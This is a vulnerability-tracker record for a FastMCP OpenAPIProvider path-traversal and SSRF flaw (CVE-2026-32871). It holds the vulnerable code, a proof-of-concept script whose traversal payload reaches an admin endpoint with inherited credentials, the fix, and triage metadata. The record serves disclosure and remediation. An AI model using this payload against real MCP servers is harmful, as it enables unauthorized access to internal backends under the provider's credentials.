{"id":"CVE-2026-32871","kind":"vulnerability","aliases":["CVE-2026-32871","GHSA-vv7q-7jx5-f767"],"related":[],"title":"FastMCP OpenAPI Provider has an SSRF & Path Traversal Vulnerability","description":"## Technical Description\n\nThe `OpenAPIProvider` in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The `RequestDirector` class is responsible for constructing HTTP requests to the backend service.\n\nA critical vulnerability exists in the `_build_url()` method. When an OpenAPI operation defines path parameters (e.g., `/api/v1/users/{user_id}`), the system directly substitutes parameter values into the URL template string **without URL-encoding**. Subsequently, `urllib.parse.urljoin()` resolves the final URL.\n\nSince `urljoin()` interprets `../` sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in **authenticated SSRF**, as requests are sent with the authorization headers configured in the MCP provider.\n\n---\n\n## Vulnerable Code\n\n**File:** `fastmcp/utilities/openapi/director.py`\n\n```python\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -> str:\n    # Direct string substitution without encoding\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            url_path = url_path.replace(placeholder, str(param_value))\n\n    # urljoin resolves ../ escape sequences\n    return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```\n\n### Root Cause\n\n1. Path parameters are substituted directly without URL encoding\n2. `urllib.parse.urljoin()` interprets `../` as directory traversal\n3. No validation prevents traversal sequences in parameter values\n4. Requests inherit the authentication context of the MCP provider\n\n---\n\n## Proof of Concept\n\n### Step 1: Backend API Setup\n\nCreate `internal_api.py` to simulate a vulnerable backend server:\n\n```python\nfrom fastapi import FastAPI, Header, HTTPException\nimport uvicorn\n\napp = FastAPI()\n\n@app.get(\"/api/v1/users/{user_id}/profile\")\ndef get_profile(user_id: str):\n    return {\"status\": \"success\", \"user\": user_id}\n\n@app.get(\"/admin/delete-all\")\ndef admin_endpoint(authorization: str = Header(None)):\n    if authorization == \"Bearer admin_secret\":\n        return {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n    raise HTTPException(status_code=401)\n\nif __name__ == \"__main__\":\n    uvicorn.run(app, host=\"127.0.0.1\", port=8080)\n```\n\n### Step 2: Exploitation Script\n\nCreate `exploit_poc.py`:\n\n```python\nimport asyncio\nimport httpx\nfrom fastmcp.utilities.openapi.director import RequestDirector\n\nasync def exploit_ssrf():\n    # Initialize vulnerable component\n    director = RequestDirector(spec={})\n    base_url = \"http://127.0.0.1:8080/\"\n    template = \"/api/v1/users/{id}/profile\"\n    \n    # Payload: Path traversal to reach /admin/delete-all\n    # The '?' character neutralizes the rest of the original template\n    payload = \"../../../admin/delete-all?\"\n    \n    # Construct malicious URL\n    malicious_url = director._build_url(template, {\"id\": payload}, base_url)\n    print(f\"[*] Generated URL: {malicious_url}\")\n\n    async with httpx.AsyncClient() as client:\n        # Request inherits MCP provider's authorization headers\n        response = await client.get(\n            malicious_url, \n            headers={\"Authorization\": \"Bearer admin_secret\"}\n        )\n        print(f\"[+] Status Code: {response.status_code}\")\n        print(f\"[+] Response: {response.text}\")\n\nif __name__ == \"__main__\":\n    asyncio.run(exploit_ssrf())\n```\n\n### Expected Output\n\n```\n[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?\n[+] Status Code: 200\n[+] Response: {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n```\n\nThe attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.\n\n---\n\n## Impact Assessment\n\n### Severity Justification\n\n- **Unauthorized Access**: Attackers can interact with private endpoints not exposed in the OpenAPI specification\n- **Privilege Escalation**: The attacker operates within the MCP provider's security context and credentials\n- **Authentication Bypass**: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented\n- **Data Exfiltration**: Sensitive internal APIs can be accessed and exploited\n- **Lateral Movement**: Internal-only services may be compromised from the network boundary\n\n### Attack Scenarios\n\n1. **Accessing Admin Panels**: Bypass API restrictions to reach administrative endpoints\n2. **Data Theft**: Access internal databases or sensitive information endpoints\n3. **Service Disruption**: Trigger destructive operations on backend services\n4. **Credential Extraction**: Access endpoints returning API keys, tokens, or credentials\n\n---\n\n## Remediation\n\n### Recommended Fix\n\nURL-encode all path parameter values **before** substitution to ensure reserved characters (`/`, `.`, `?`, `#`) are treated as literal data, not path delimiters.\n\n**Updated code for `_build_url()` method:**\n\n```python\nimport urllib.parse\n\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -> str:\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            # Apply safe URL encoding to prevent traversal attacks\n            # safe=\"\" ensures ALL special characters are encoded\n            safe_value = urllib.parse.quote(str(param_value), safe=\"\")\n            url_path = url_path.replace(placeholder, safe_value)\n\n    return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```","summary":"FastMCP's OpenAPI provider substitutes path parameter values into backend URLs without encoding, so ../ sequences escape the intended API prefix. An attacker who can call an exposed MCP tool can make the server send authenticated requests to any backend endpoint it can reach, including ones absent from the OpenAPI spec.","severity":"critical","cvss":10.0,"epss":0.00909,"exploited":false,"exploited_at":null,"products":[{"name":"fastmcp","fixed":["3.2.0"],"affected":"< 3.2.0","ecosystem":"pypi"},{"name":"jlowin fastmcp","fixed":["3.2.0"],"affected":"< 3.2.0","ecosystem":"vendor"}],"ecosystems":["pypi","vendor"],"tags":["ai-tooling","cwe-918","fastmcp","mcp","python","self-hosted"],"not_affected_if":["fixed-version","not-using-openapi-provider"],"how_to_check":"- Check the installed version with `pip show fastmcp` or `python -c \"import fastmcp; print(fastmcp.__version__)\"`; versions below `3.2.0` are affected.\n- Find services that build an MCP server from an OpenAPI spec with `OpenAPIProvider` or `RequestDirector` in the codebase.\n- Check whether those MCP providers are configured with backend authorization headers.","fix":"- Upgrade fastmcp to `3.2.0` or later with `pip install --upgrade fastmcp==3.2.0`.\n- Until upgraded, apply `urllib.parse.quote(str(value), safe=\"\")` to path parameter values in `_build_url()`, as the advisory suggests.\n- Rotate any credentials the MCP provider sends to backends if exposure is suspected.","status":"open","published_at":"2026-03-31T22:53:21+00:00","first_seen_at":"2026-10-27T16:41:04+00:00","triaged_at":"2026-10-27T16:42:07+00:00","updated_at":"2026-10-27T17:03:04+00:00","category":"ai-tooling","confidence":0.8,"triage":{"at":"2026-10-27T16:42:07Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade fastmcp to `3.2.0` or later with `pip install --upgrade fastmcp==3.2.0`.\n- Until upgraded, apply `urllib.parse.quote(str(value), safe=\"\")` to path parameter values in `_build_url()`, as the advisory suggests.\n- Rotate any credentials the MCP provider sends to backends if exposure is suspected.","reach":"network","title":"FastMCP: unencoded path parameters let OpenAPI clients reach internal endpoints","impact":"high","summary":"FastMCP's OpenAPI provider substitutes path parameter values into backend URLs without encoding, so ../ sequences escape the intended API prefix. An attacker who can call an exposed MCP tool can make the server send authenticated requests to any backend endpoint it can reach, including ones absent from the OpenAPI spec.","category":"ai-tooling","nicknames":[],"who_cares":["fastmcp","mcp","python","self-hosted"],"confidence":0.8,"needs_auth":"unknown","worst_case":"Attacker reaches internal endpoints using the MCP provider's credentials.","analyst_note":"","how_to_check":"- Check the installed version with `pip show fastmcp` or `python -c \"import fastmcp; print(fastmcp.__version__)\"`; versions below `3.2.0` are affected.\n- Find services that build an MCP server from an OpenAPI spec with `OpenAPIProvider` or `RequestDirector` in the codebase.\n- Check whether those MCP providers are configured with backend authorization headers.","needs_analyst":false,"not_affected_if":["not-using-openapi-provider","fixed-version"],"who_is_affected":"Teams running FastMCP below 3.2.0 with OpenAPIProvider, which turns an OpenAPI spec into MCP tools that call a backend API. Exposure depends on the MCP provider holding backend credentials and on path parameters taking values an MCP client can influence. Teams that do not use OpenAPIProvider, or that run only non-OpenAPI FastMCP servers, can skip it.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"critical"},"cost_usd":0.000922,"input_tokens":5402,"output_tokens":764,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-2026':11A,19A '-32871':12A,20A '-918':28B '/../../admin/delete-all':427C '/admin/delete-all':344C,416C '/api/v1/users':131C,327C,408C '/profile':330C,410C '1':265C,303C '127.0.0.1':375C,405C,487C '2':274C,379C '200':491C '3':280C '4':289C '401':368C '7jx5':16A '8080':377C,406C '8080/admin/delete-all':488C 'absent':80B 'access':180C,362C,497C,502C,523C 'admin':346C,355C,465C 'administr':361C,496C 'ai':25B 'ai-tool':24B 'api':53B,93C,177C,305C 'app':324C,373C 'app.get':326C,343C 'arbitrari':181C 'assess':519C 'async':393C,445C 'asyncio':386C 'asyncio.run':480C 'attack':56B,163C,172C,500C,524C 'authent':69B,187C,293C,516C 'author':195C,348C,353C,455C,463C 'await':458C 'backend':44B,73B,112C,182C,304C,313C 'base':219C,403C,437C 'base_url.rstrip':261C 'bearer':354C,464C 'build':120C,208C 'call':59B 'caus':264C 'charact':418C 'class':103C 'client':96C,449C 'client.get':459C 'code':203C,367C,470C,472C,490C 'compon':399C 'concept':301C 'configur':197C 'construct':107C,428C 'context':294C 'control':164C 'creat':307C,382C 'credenti':517C 'critic':115C,359C,494C 'cve':10A,18A 'cwe':27B 'def':207C,331C,345C,394C 'defin':127C,506C 'descript':86C 'dict':216C 'direct':136C,223C,270C 'director':400C 'director._build_url':433C 'directori':160C,278C 'e.g':130C 'encod':47B,148C,227C,273C 'endp':529C 'endpoint':74B,183C,347C,504C 'escap':50B,174C,257C 'exist':117C 'expect':483C 'exploit':380C,395C,481C 'exploit_poc.py':383C 'expos':61B,91C 'f':240C,440C,468C,474C 'f767':17A 'fastapi':317C,319C,325C 'fastmcp':1A,21A,23A,29B,35B,90C 'fastmcp.utilities.openapi.director':390C 'fastmcp/utilities/openapi/director.py':205C 'file':204C 'final':153C 'generat':441C,485C 'get':332C 'ghsa':14A 'ghsa-vv7q-7jx5-f767':13A 'grant':363C,498C 'header':196C,320C,350C,456C,462C 'host':34B,374C 'http':108C 'httpexcept':321C,365C 'httpx':388C 'httpx.asyncclient':447C 'id':133C,329C,335C,342C,409C,435C 'impact':518C 'import':318C,322C,385C,387C,391C 'includ':78B 'inherit':291C,451C 'initi':397C 'intend':52B,176C 'interact':526C 'intern':92C 'internal_api.py':308C 'interpret':157C,276C 'jlowin':22A 'justif':521C 'main':371C,479C 'make':65B 'malici':429C,431C,443C,460C 'mcp':30B,62B,95C,200C,297C,452C,513C 'messag':360C,495C 'method':122C 'name':234C,242C,370C,478C 'neutral':419C 'none':351C 'one':79B 'openapi':2A,37B,83B,99C,125C,509C 'openapiprovid':88C 'oper':126C 'origin':424C 'output':484C 'param':215C,233C,235C,241C,253C 'paramet':41B,129C,138C,167C,267C,287C 'pars':98C 'path':7A,40B,128C,166C,170C,211C,214C,229C,230C,247C,249C,266C,412C 'path_params.items':238C 'payload':411C,426C,436C 'perform':169C 'placehold':239C,244C,251C 'port':376C 'prefix':54B,178C 'prevent':283C 'print':439C,467C,473C 'privat':528C 'profil':333C 'proof':299C 'provid':3A,38B,201C,298C,453C,514C 'python':31B,206C,315C,384C 'rais':364C 'reach':77B,415C 'request':70B,109C,190C,290C,450C 'requestdirector':102C,392C,401C 'resolv':151C,256C 'respons':105C,457C,475C,492C 'response.status':471C 'response.text':476C 'rest':421C 'result':185C 'return':259C,337C,357C 'root':263C 'script':381C 'secret':356C,466C 'self':33B,210C 'self-host':32B 'send':68B 'sent':192C 'sequenc':49B,158C,258C,285C 'server':67B,314C 'servic':113C 'setup':306C 'sever':520C 'simul':310C 'sinc':155C 'spec':84B,402C 'specif':100C,510C 'ssrf':6A,188C,396C,482C 'status':338C,358C,366C,469C,489C,493C 'step':302C,378C 'str':213C,217C,221C,222C,252C,336C,349C 'string':144C,224C 'subsequ':149C 'substitut':39B,137C,225C,269C 'success':339C,501C 'system':135C 'technic':85C 'templat':143C,212C,231C,407C,425C,434C 'tool':26B,63B 'travers':8A,161C,171C,279C,284C,413C 'unauthor':522C 'url':45B,121C,142C,147C,154C,209C,220C,228C,246C,248C,272C,404C,430C,432C,438C,442C,444C,461C,486C 'url-encod':146C 'url_path.lstrip':262C 'url_path.replace':250C 'urljoin':156C,255C,260C 'urllib.parse.urljoin':150C,275C 'use':511C 'user':132C,328C,334C,340C,341C 'uvicorn':323C 'uvicorn.run':372C 'valid':282C 'valu':42B,139C,236C,254C,288C 'vulner':9A,116C,202C,312C,398C 'vv7q':15A 'without':46B,145C,226C,271C","nicknames":[],"mitigations":[],"who_affected":"Teams running FastMCP below 3.2.0 with OpenAPIProvider, which turns an OpenAPI spec into MCP tools that call a backend API. Exposure depends on the MCP provider holding backend credentials and on path parameters taking values an MCP client can influence. Teams that do not use OpenAPIProvider, or that run only non-OpenAPI FastMCP servers, can skip it.","tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-03-31T22:53:21+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-vv7q-7jx5-f767","url":"https://github.com/advisories/GHSA-vv7q-7jx5-f767","severity":"critical","published_at":"2026-03-31T22:53:21+00:00","modified_at":"2026-10-27T16:40:35+00:00","first_seen_at":"2026-10-27T16:41:04+00:00","fetched_at":"2026-10-27T16:46:06+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-32871","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32871","severity":null,"published_at":"2026-04-02T15:16:38+00:00","modified_at":"2026-10-26T21:10:00+00:00","first_seen_at":"2026-10-27T17:03:04+00:00","fetched_at":"2026-10-27T17:03:04+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}